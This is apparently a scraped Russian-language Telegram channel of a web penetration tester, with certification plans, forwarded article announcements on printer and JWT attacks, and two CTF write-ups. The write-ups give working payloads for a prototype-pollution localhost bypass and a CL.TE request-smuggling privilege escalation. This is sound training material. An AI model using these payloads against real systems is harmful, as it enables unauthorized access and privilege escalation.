Всем привет!
Давненько меня не было слышно.
Хочу поделиться мыслями за последнее время и планами по сертификатам на 2026 год. Относительно недавно поймал себя на мысли, что я вообще ничего не знаю. Причём чем больше прокачиваюсь в технических штуках, тем отчётливее это понимаю. Коллеги подсказали, что это называется «осознанная некомпетентность».🤯
После Академии RAD COP (писал об этом тут) и нескольких выполненных проектов у меня было ощущение, что я уже всё могу и дальше будет легко. Но не тут-то было. Чем больше знаний я получал на проектах от старших коллег, тем меньше становилось уверенности🤔
Речь вовсе не про готовность самостоятельно выполнять проекты, а о качественном выполнении проектов самостоятельно.«Делать плохо — ума не надо».
В итоге с постоянным чувством нехватки знаний и такими мыслями, перед новым годом приобрёл подписку на HTB. Туда входят два интересных для меня пути обучения — CWES и CPTS. CWES интересует больше, так как я в основном фокусируюсь на пентесте внешнего периметра и веба. CPTS тоже обязательно пройду — знания по инфре лишними не будут, да и заплачено🐸
Путь по вебу прошёл довольно быстро, осталось сдать экзамен. После этого обязательно поделюсь впечатлениями.
По планам: в этом году в идеале хочу забрать OSCP, а ближе к концу года — OSWA.
Первый год пройден — полёт нормальный!
Всем терпения, успехов и позитива!
Давненько меня не было слышно.
Хочу поделиться мыслями за последнее время и планами по сертификатам на 2026 год. Относительно недавно поймал себя на мысли, что я вообще ничего не знаю. Причём чем больше прокачиваюсь в технических штуках, тем отчётливее это понимаю. Коллеги подсказали, что это называется «осознанная некомпетентность».
После Академии RAD COP (писал об этом тут) и нескольких выполненных проектов у меня было ощущение, что я уже всё могу и дальше будет легко. Но не тут-то было. Чем больше знаний я получал на проектах от старших коллег, тем меньше становилось уверенности
Речь вовсе не про готовность самостоятельно выполнять проекты, а о качественном выполнении проектов самостоятельно.
В итоге с постоянным чувством нехватки знаний и такими мыслями, перед новым годом приобрёл подписку на HTB. Туда входят два интересных для меня пути обучения — CWES и CPTS. CWES интересует больше, так как я в основном фокусируюсь на пентесте внешнего периметра и веба. CPTS тоже обязательно пройду — знания по инфре лишними не будут, да и заплачено
Путь по вебу прошёл довольно быстро, осталось сдать экзамен. После этого обязательно поделюсь впечатлениями.
По планам: в этом году в идеале хочу забрать OSCP, а ближе к концу года — OSWA.
Первый год пройден — полёт нормальный!
Всем терпения, успехов и позитива!
Please open Telegram to view this post
VIEW IN TELEGRAM
❤🔥8👍5❤4😎1
Всем привет!
Уже весна, а я все никак не могу вернуться к актиновсти на канале.
Год со старта довольно загружен: проекты, обучение, порой просто лень☹️
Буду стараться делиться с вами полезным чаще.
Тем более есть повод⤵️
Уже весна, а я все никак не могу вернуться к актиновсти на канале.
Год со старта довольно загружен: проекты, обучение, порой просто лень
Буду стараться делиться с вами полезным чаще.
Тем более есть повод
Про вашу инфраструктуру уже кое-что знают.
Возможно, больше, чем вы.
5 марта в 16.00 на вебинаре мой коллега из ПК "РАД КОП" покажет, как безопаснику самому собрать картину своей внешней поверхности атаки — быстро и без иллюзий.
➡️Что можно узнать о себе из открытых источников?
➡️Как это делают злоумышленники?
➡️И как начать делать это первыми?
⬇️ Подробности — в посте РАД КОП ниже
Please open Telegram to view this post
VIEW IN TELEGRAM
❤5👍3🔥2
Forwarded from ИнфоБес #Aнализ безопасности #Тестирование на проникновение
Представьте: в углу офиса мирно стоит принтер, печатает отчёты… а в это время через него кто-то получает учётки сотрудников и заходит во внутреннюю сеть компании.
Звучит неприятно? Ещё бы.
В своей новой статье разобрал, почему устройства печати становятся удобной точкой входа для злоумышленников: стандартные пароли, утечки учётных данных через SNMP, pass-back-атаки и другие типовые векторы.
В материале:
— реальные CVE;
— скриншоты атак;
— практические меры защиты, которые можно внедрить уже сейчас.
🖋 Читать статью:
https://radcop.online/blog/articles/vzlomat-cherez-printer
Звучит неприятно? Ещё бы.
В своей новой статье разобрал, почему устройства печати становятся удобной точкой входа для злоумышленников: стандартные пароли, утечки учётных данных через SNMP, pass-back-атаки и другие типовые векторы.
В материале:
— реальные CVE;
— скриншоты атак;
— практические меры защиты, которые можно внедрить уже сейчас.
🖋 Читать статью:
https://radcop.online/blog/articles/vzlomat-cherez-printer
❤3👍2🤝2
Ну что… Наконец-то я его получил! 💻
Мелочь, а приятно.
Как писал выше, подписку на обучение купил перед НГ. Учебный трек прошёл довольно быстро, но вот с экзаменом всё оказалось не так просто.С первого раза сдать не удалось 🤩
Завалился на все тачки - получил админа, но больше всего трудностей было с RCE.
Если кратко: курс реально супер интересный.
Лично мне проходить его было намного интереснее, чем PortSwigger Academy — но тут, конечно, дело вкуса.
В процессе узнал много полезного и практичного.
Плюс теперь у меня остался хороший конспект — годный для дальнейшей работы.
Если кому интересно — задавайте вопросы, буду рад ответить.
В будущем планирую написать более подробную статью на Хабре о своём опыте прохождения.
Мелочь, а приятно.
Как писал выше, подписку на обучение купил перед НГ. Учебный трек прошёл довольно быстро, но вот с экзаменом всё оказалось не так просто.
Завалился на все тачки - получил админа, но больше всего трудностей было с RCE.
Если кратко: курс реально супер интересный.
Лично мне проходить его было намного интереснее, чем PortSwigger Academy — но тут, конечно, дело вкуса.
В процессе узнал много полезного и практичного.
Плюс теперь у меня остался хороший конспект — годный для дальнейшей работы.
Если кому интересно — задавайте вопросы, буду рад ответить.
В будущем планирую написать более подробную статью на Хабре о своём опыте прохождения.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10❤3😱2
Prototype Pollution → Localhost Bypass
Недавно решал веб-челлендж на НТВ (white-box).
На первый взгляд — максимально простой сервис заметок на Express + Mongo. Но внутри оказалась очень интересная цепочка через server-side prototype pollution, которая приводит к обходу IP-проверки.
1️⃣ Первичный анализ
В коде явно видно ограничение доступа к /flag:
То есть флаг доступен только при запросе с localhost.
Следовательно, задача — заставить сервер считать наш запрос локальным.
2️⃣ Точка входа
Обращает на себя внимание эндпоинт обновления заметок /update:
Здесь:
- пользовательский ввод (req.body) передаётся напрямую в Mongo
- отсутствует фильтрация операторов ($set, $rename и т.д.)
- нет валидации структуры
Это типичный паттерн, приводящий к NoSQL injection.
3️⃣ Подтверждение NoSQL injection
Решил проверить, можно ли управлять выборкой документов:
Сервер возвращает все заметки → значит можно управлять Mongo-запросом.
Это даёт контроль над фильтрацией и update-операторами.
4️⃣ Эскалация Prototype Pollution
Следующий шаг — проверить, можно ли выйти за пределы обычных полей.
Использовал $rename, чтобы записать значение в специальный путь:
После этого приложение начинает вести себя нестабильно.
Данные записываются не в документ, а в прототип объектов это ключевой сигнал.
5️⃣ Что такое Prototype Pollution в данном контексте
В JavaScript при обращении к свойству:
движок ищет его:
- в самом объекте
- затем в prototype (proto)
- далее по цепочке
Если атакующий может записать значение в Object.prototype, его начинают видеть все обьекты.
В данном случае приводит к глобальному изменению поведения:
6️⃣ Поиск точки использования (gadget)
Теперь ключевой этап — найти, где polluted данные используются.
Очевидные варианты не дают результата:
Это означает, что remoteAddress не является обычным полем.
7️⃣ Важный момент — getter
В Node.js req.connection.remoteAddress — это не просто значение,
а вычисляемое свойство (getter), которое получает IP из внутренних структур сокета.
То есть важно не само поле remoteAddress, а источник, из которого оно берётся.
8️⃣ Поиск внутреннего источника
При переборе вложенных и внутренних полей:
рабочим оказывается:
Это внутреннее поле, из которого Node берёт адрес клиента.
9️⃣ Эксплуатация
Так как /create принимает только строки, сначала сохраняем нужное значение:
Далее переносим его в прототип:
Это приводит к:
1️⃣ 0️⃣ Результат
При обращении к /flag getter использует _peername.address, который теперь берётся из prototype.
Сервер получает данные и считает запрос локальным:
Итог
➡️ NoSQL injection → доступ к Mongo operators
➡️ $rename → запись в proto
➡️ prototype pollution → глобальное изменение поведения объектов
➡️ использование внутреннего поля (_peername) → обход IP-проверки
Инсайт
Prototype pollution — это не просто “сломать объект”.
Это возможность повлиять на данные, которые используются внутри логики приложения, даже если они не передаются напрямую.
Недавно решал веб-челлендж на НТВ (white-box).
На первый взгляд — максимально простой сервис заметок на Express + Mongo. Но внутри оказалась очень интересная цепочка через server-side prototype pollution, которая приводит к обходу IP-проверки.
В коде явно видно ограничение доступа к /flag:
app.get('/flag', (req, res) => {
const remoteAddress = req.connection.remoteAddress;
if (
remoteAddress === '127.0.0.1' ||
remoteAddress === '::1' ||
remoteAddress === '::ffff:127.0.0.1'
)То есть флаг доступен только при запросе с localhost.
Следовательно, задача — заставить сервер считать наш запрос локальным.
Обращает на себя внимание эндпоинт обновления заметок /update:
await Note.findByIdAndUpdate(noteId, req.body);
Здесь:
- пользовательский ввод (req.body) передаётся напрямую в Mongo
- отсутствует фильтрация операторов ($set, $rename и т.д.)
- нет валидации структуры
Это типичный паттерн, приводящий к NoSQL injection.
Решил проверить, можно ли управлять выборкой документов:
POST /update
{
"noteId": {
"$ne": null
}
}
Сервер возвращает все заметки → значит можно управлять Mongo-запросом.
Это даёт контроль над фильтрацией и update-операторами.
Следующий шаг — проверить, можно ли выйти за пределы обычных полей.
Использовал $rename, чтобы записать значение в специальный путь:
POST /update
{
"noteId": "ID",
"$rename": {
"title": "__proto__.test"
}
}
После этого приложение начинает вести себя нестабильно.
Данные записываются не в документ, а в прототип объектов это ключевой сигнал.
В JavaScript при обращении к свойству:
obj.prop
движок ищет его:
- в самом объекте
- затем в prototype (proto)
- далее по цепочке
Если атакующий может записать значение в Object.prototype, его начинают видеть все обьекты.
В данном случае приводит к глобальному изменению поведения:
__proto__.something = value
Теперь ключевой этап — найти, где polluted данные используются.
Очевидные варианты не дают результата:
__proto__.remoteAddress
__proto__.ip
Это означает, что remoteAddress не является обычным полем.
В Node.js req.connection.remoteAddress — это не просто значение,
а вычисляемое свойство (getter), которое получает IP из внутренних структур сокета.
То есть важно не само поле remoteAddress, а источник, из которого оно берётся.
При переборе вложенных и внутренних полей:
__proto__.connection.remoteAddress
__proto__.socket.remoteAddress
__proto__._peername.address
рабочим оказывается:
__proto__._peername.address
Это внутреннее поле, из которого Node берёт адрес клиента.
Так как /create принимает только строки, сначала сохраняем нужное значение:
POST /update
{
"title": "::ffff:127.0.0.1",
"content": "x"
}
Далее переносим его в прототип:
POST /update
{
"noteId": "ID",
"$rename": {
"title": "__proto__._peername.address"
}
}
Это приводит к:
Object.prototype._peername.address = "::ffff:127.0.0.1"
При обращении к /flag getter использует _peername.address, который теперь берётся из prototype.
req.connection.remoteAddress
Сервер получает данные и считает запрос локальным:
::ffff:127.0.0.1
Итог
Инсайт
Prototype pollution — это не просто “сломать объект”.
Это возможность повлиять на данные, которые используются внутри логики приложения, даже если они не передаются напрямую.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8❤🔥3👨💻2❤1
Forwarded from Пингискок
Опубликовал новые статьи из серии статей про JWT
Не пугайтесь графика на скриншоте - он просто для наглядности того почему именно работает уязвимость
От структуры токена до атак с PoC:
1. Почему JWT сломан by design
2. Анатомия токена
3. alg:none - одна строчка и ты admin
4. Algorithm Confusion - публичный ключ как пароль
5. kid injection - SQLi через заголовок токена
6. jku/x5u/jwk/x5c - весь заголовок это attack surface
7. Брутфорс секретов на GPU - 150 млн HS256/сек
8. Psychic Signatures - нулевая подпись на Java 15-18
rmrf.tips
Не пугайтесь графика на скриншоте - он просто для наглядности того почему именно работает уязвимость
От структуры токена до атак с PoC:
1. Почему JWT сломан by design
2. Анатомия токена
3. alg:none - одна строчка и ты admin
4. Algorithm Confusion - публичный ключ как пароль
5. kid injection - SQLi через заголовок токена
6. jku/x5u/jwk/x5c - весь заголовок это attack surface
7. Брутфорс секретов на GPU - 150 млн HS256/сек
8. Psychic Signatures - нулевая подпись на Java 15-18
rmrf.tips
👍3🌚1
Forwarded from Пингискок
Продолжение серии про JWT - шесть новых статей
Криптография, шифрование, библиотеки, OAuth/OIDC, XSS и продвинутые криптоатаки:
9. Криптография JWT для хакеров - ECDSA, RSA-PSS, EdDSA и где ломается математика
10. JWE — зашифрованные токены, Bleichenbacher, Invalid Curve, PBES2 DoS
11. JWT-библиотеки — рейтинг дырявости, Top 5 CVE, fingerprinting по токену
12. JWT в OAuth 2.0 и OIDC — token confusion, cross-service relay, ALBeast, DPoP bypass
13. XSS + JWT — кража токенов из localStorage, sessionStorage, cookies
14. Продвинутые криптоатаки — lattice, side-channels, fault injection
Осталось всего 6 статьей (на скриншоте выше) и будем выбирать нового претендента на следующую серию разборов. Делитесь с коллегами/друзьями, вдруг кому полезно и интересно будет почитать. Репосты в ваши каналы тоже приветствуются 🤝
Предыдущие части постом выше, или тут:
rmrf.tips
Криптография, шифрование, библиотеки, OAuth/OIDC, XSS и продвинутые криптоатаки:
9. Криптография JWT для хакеров - ECDSA, RSA-PSS, EdDSA и где ломается математика
10. JWE — зашифрованные токены, Bleichenbacher, Invalid Curve, PBES2 DoS
11. JWT-библиотеки — рейтинг дырявости, Top 5 CVE, fingerprinting по токену
12. JWT в OAuth 2.0 и OIDC — token confusion, cross-service relay, ALBeast, DPoP bypass
13. XSS + JWT — кража токенов из localStorage, sessionStorage, cookies
14. Продвинутые криптоатаки — lattice, side-channels, fault injection
Осталось всего 6 статьей (на скриншоте выше) и будем выбирать нового претендента на следующую серию разборов. Делитесь с коллегами/друзьями, вдруг кому полезно и интересно будет почитать. Репосты в ваши каналы тоже приветствуются 🤝
Предыдущие части постом выше, или тут:
rmrf.tips
👍6❤🔥1😱1
Всем привет! 🕵♂️
Не сложилось у меня с CPTS, не зашло. Переиграл план, который по обучению расписал на год, и всё же решил углубляться в то, что по душе, а именно — в вебчик!
Взял Golden-подписку на HTB и стартую CWEE.
В общем, с проектами и обучением спать будет некогда. На этот счёт у меня одна из любимых фраз: «Тот, кто спит, тот видит только сны».
Но всё же спать рекомендую — сертами менталку не залечишь.🤪
Погнали!
Не сложилось у меня с CPTS, не зашло. Переиграл план, который по обучению расписал на год, и всё же решил углубляться в то, что по душе, а именно — в вебчик!
Взял Golden-подписку на HTB и стартую CWEE.
В общем, с проектами и обучением спать будет некогда. На этот счёт у меня одна из любимых фраз: «Тот, кто спит, тот видит только сны».
Но всё же спать рекомендую — сертами менталку не залечишь.
Погнали!
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6👍3❤🔥1👨💻1
Всем, кто в теме, рекомендую к прочтению! 💻
Делясь знаниями, получаешь больше🤝
Делясь знаниями, получаешь больше
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Path Secure (CuriV)
Хей!
Пост немного задержался...
Но я принес вам Хабр-статью с моей рефлексией по итогам сдачи OSWE!
Поделился своими мыслями и тактиками.
https://habr.com/ru/articles/1024100/
- - -
А я в ближайшие дни стартую новое приключение в сдачу OSEP 😎
#oswe #habr #education #cert
Пост немного задержался...
Но я принес вам Хабр-статью с моей рефлексией по итогам сдачи OSWE!
Поделился своими мыслями и тактиками.
https://habr.com/ru/articles/1024100/
- - -
А я в ближайшие дни стартую новое приключение в сдачу OSEP 😎
#oswe #habr #education #cert
Хабр
Системной подход к сдаче OSWE в 2025
Введение Offensive Security Web Expert ( OSWE ) – продвинутая сертификация offsec по безопасности WEB приложений. Причем ключевым отличием от менее известного Offensive Security Web Assessor ( OSWA )...
👀4🔥2
Всем привет!
Вот и у меня дошли руки поделиться впечатлениями и эмоциями об ообучнии и сдаче CWES.
Как и обещал 🫡
Почитать можно тут.
Вот и у меня дошли руки поделиться впечатлениями и эмоциями об ообучнии и сдаче CWES.
Как и обещал 🫡
Почитать можно тут.
🔥8❤🔥3👍3👨💻1👀1
HTTP Request Smuggling → Privilege Escalation
Разбирал задание с уязвимостью CL.TE (Content-Length / Transfer-Encoding). Сценарий: есть пользователь с низкими привилегиями, есть эндпоинт /admin.php?promote_uid=7. Задача — заставить администратора выполнить запрос от нашего имени.
1️⃣ Суть CL.TE
Фронтенд читает длину тела через Content-Length.
Бэкенд читает тело через Transfer-Encoding: chunked.
Это несоответствие и есть точка входа.
2️⃣ Вредоносный запрос
Фронтенд видит один запрос — до конца X-Something: (58 байт по CL).
Бэкенд видит другое — пустой чанк 0\r\n\r\n завершает первый запрос, остаток висит в буфере.
3️⃣ Что происходит дальше
Администратор заходит на сайт со своим обычным GET-запросом:
Его запрос склеивается с нашим "хвостом" в буфере:
Бэкенд видит POST на /admin.php?promote_uid=7 — с куками администратора.
4️⃣ Результат
Привилегии повышены. Администратор ничего не делал целенаправленно — просто открыл страницу.
Итог
➡️ CL.TE несоответствие → контроль над буфером TCP-соединения
➡️ "Подклейка" чужого запроса → выполнение действий от имени жертвы
➡️ Сессионный cookie автоматически уходит вместе с запросом
Инсайт
Request Smuggling — это не просто путаница с заголовками.
Это возможность встроить свой запрос в чужую сессию, не имея доступа к токену.
Разбирал задание с уязвимостью CL.TE (Content-Length / Transfer-Encoding). Сценарий: есть пользователь с низкими привилегиями, есть эндпоинт /admin.php?promote_uid=7. Задача — заставить администратора выполнить запрос от нашего имени.
1️⃣ Суть CL.TE
Фронтенд читает длину тела через Content-Length.
Бэкенд читает тело через Transfer-Encoding: chunked.
Это несоответствие и есть точка входа.
2️⃣ Вредоносный запрос
POST / HTTP/1.1
Host: smuggle.lab
Content-Length: 58
Transfer-Encoding: chunked
0
POST /admin.php?promote_uid=7 HTTP/1.1
X-Something:
Фронтенд видит один запрос — до конца X-Something: (58 байт по CL).
Бэкенд видит другое — пустой чанк 0\r\n\r\n завершает первый запрос, остаток висит в буфере.
3️⃣ Что происходит дальше
Администратор заходит на сайт со своим обычным GET-запросом:
GET /dashboard HTTP/1.1
Host: smuggle.lab
Cookie: session=<admin_session_cookie>
Его запрос склеивается с нашим "хвостом" в буфере:
POST /admin.php?promote_uid=7 HTTP/1.1
X-Ignore: GET /dashboard HTTP/1.1
Host: smuggle.lab
Cookie: session=<admin_session_cookie>
Бэкенд видит POST на /admin.php?promote_uid=7 — с куками администратора.
4️⃣ Результат
Привилегии повышены. Администратор ничего не делал целенаправленно — просто открыл страницу.
Итог
➡️ CL.TE несоответствие → контроль над буфером TCP-соединения
➡️ "Подклейка" чужого запроса → выполнение действий от имени жертвы
➡️ Сессионный cookie автоматически уходит вместе с запросом
Инсайт
Request Smuggling — это не просто путаница с заголовками.
Это возможность встроить свой запрос в чужую сессию, не имея доступа к токену.
❤🔥4🔥3👍2🕊1🏆1
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥12❤3🍾2😱1🐳1🏆1👀1🎃1💘1🦄1